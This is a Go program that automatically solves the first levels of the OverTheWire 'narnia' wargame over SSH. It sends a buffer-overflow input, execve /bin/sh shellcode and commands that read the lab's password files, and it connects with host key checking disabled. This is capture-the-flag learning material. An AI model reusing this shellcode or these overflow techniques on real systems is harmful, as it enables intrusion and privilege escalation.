1 package main // import "vimagination.zapto.org/overthewire/narnia" 2 3 import ( 4 "bytes" 5 "flag" 6 "fmt" 7 "log" 8 "os" 9 "time" 10 11 "golang.org/x/crypto/ssh" 12 13 "vimagination.zapto.org/memio" 14 ) 15 16 const ( 17 host = "narnia.labs.overthewire.org:2226" 18 username = "narnia%d" 19 ) 20 21 var ( 22 commands = [...][]string{ 23 //level 0 24 []string{ 25 "/narnia/narnia0;exit\n", 26 "00000000000000000000" + string([]byte{0xef, 0xbe, 0xad, 0xde}) + "\n", 27 "echo -n \"Password:\";cat /etc/narnia_pass/narnia1;exit\n", 28 }, 29 //level 1 30 []string{ 31 "EGG=\"$(printf \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80\")\" /narnia/narnia1;exit\n", // Shell Code from http://shell-storm.org/shellcode/files/shellcode-811.php 32 "echo -n \"Password:\";cat /etc/narnia_pass/narnia2;exit\n", 33 }, 34 } 35 passwordBytes = []byte("Password:") 36 sValueBytes = []byte("SVALUE:") 37 newLine = []byte{'\n'} 38 ) 39 40 func main() { 41 var ( 42 level uint 43 password string 44 ) 45 46 flag.UintVar(&level, "l", 0, "level number. > 0 requires password") 47 flag.StringVar(&password, "p", "narnia0", "password for initial level") 48 flag.Parse() 49 50 stdout := make(memio.Buffer, 0, 41) 51 52 // levels 0-24 53 54 for n, cmds := range commands[level:] { 55 n += int(level) 56 log.Printf("Level %2d: Sending Commands...\n", n) 57 58 s, err := ssh.Dial("tcp", host, &ssh.ClientConfig{ 59 User: fmt.Sprintf(username, n), 60 Auth: []ssh.AuthMethod{ssh.Password(password)}, 61 HostKeyCallback: ssh.InsecureIgnoreHostKey(), 62 }) 63 if err != nil { 64 log.Printf("Level %2d: error: %s\n", n, err) 65 return 66 } 67 68 session, err := s.NewSession() 69 if err != nil { 70 log.Printf("Level %2d: error: %s\n", n, err) 71 return 72 } else if err = session.RequestPty("vt100", 40, 80, ssh.TerminalModes{ 73 ssh.ECHO: 0, 74 ssh.TTY_OP_ISPEED: 14400, 75 ssh.TTY_OP_OSPEED: 14400, 76 }); err != nil { 77 log.Printf("Level %2d: error: %s\n", n, err) 78 return 79 } 80 81 session.Stdout = &stdout 82 session.Stderr = os.Stderr 83 wc, _ := session.StdinPipe() 84 if err = session.Shell(); err != nil { 85 log.Printf("Level %2d: error: %s\n", n, err) 86 return 87 } 88 89 for _, cmd := range cmds { 90 time.Sleep(time.Second * 2) 91 if cmd == "%s\n" { 92 p := bytes.Index(stdout, sValueBytes) 93 if p < 0 { 94 log.Printf("Level %2d: error: could not find svalue\n", n) 95 return 96 } 97 l := bytes.Index(stdout[p:], newLine) 98 if l < 0 { 99 log.Printf("Level %2d: error: could not find end of svalue\n", n) 100 return 101 } 102 cmd = fmt.Sprintf(cmd, bytes.TrimSpace(stdout[p+len(sValueBytes):p+l])) 103 } 104 _, err = wc.Write([]byte(cmd)) 105 if err != nil { 106 os.Stdout.Write(stdout) 107 log.Printf("Level %2d: error: %s\n", n, err) 108 return 109 } 110 time.Sleep(time.Second) 111 } 112 113 wc.Close() 114 session.Close() 115 s.Close() 116 117 p := bytes.Index(stdout, passwordBytes) 118 if p < 0 { 119 os.Stdout.Write(stdout) 120 log.Printf("Level %2d: error: could not find password\n", n) 121 return 122 } 123 l := bytes.Index(stdout[p:], newLine) 124 if l < 0 { 125 log.Printf("Level %2d: error: could not find end of password\n", n) 126 return 127 } 128 129 password = string(bytes.TrimSpace(stdout[p+len(passwordBytes) : p+l])) 130 131 if password == "" { 132 log.Printf("Level %2d: error: found empty password\n", n) 133 return 134 } 135 136 log.Printf("Level %2d: Password: %s\n", n, password) 137 stdout = stdout[:0] 138 } 139 }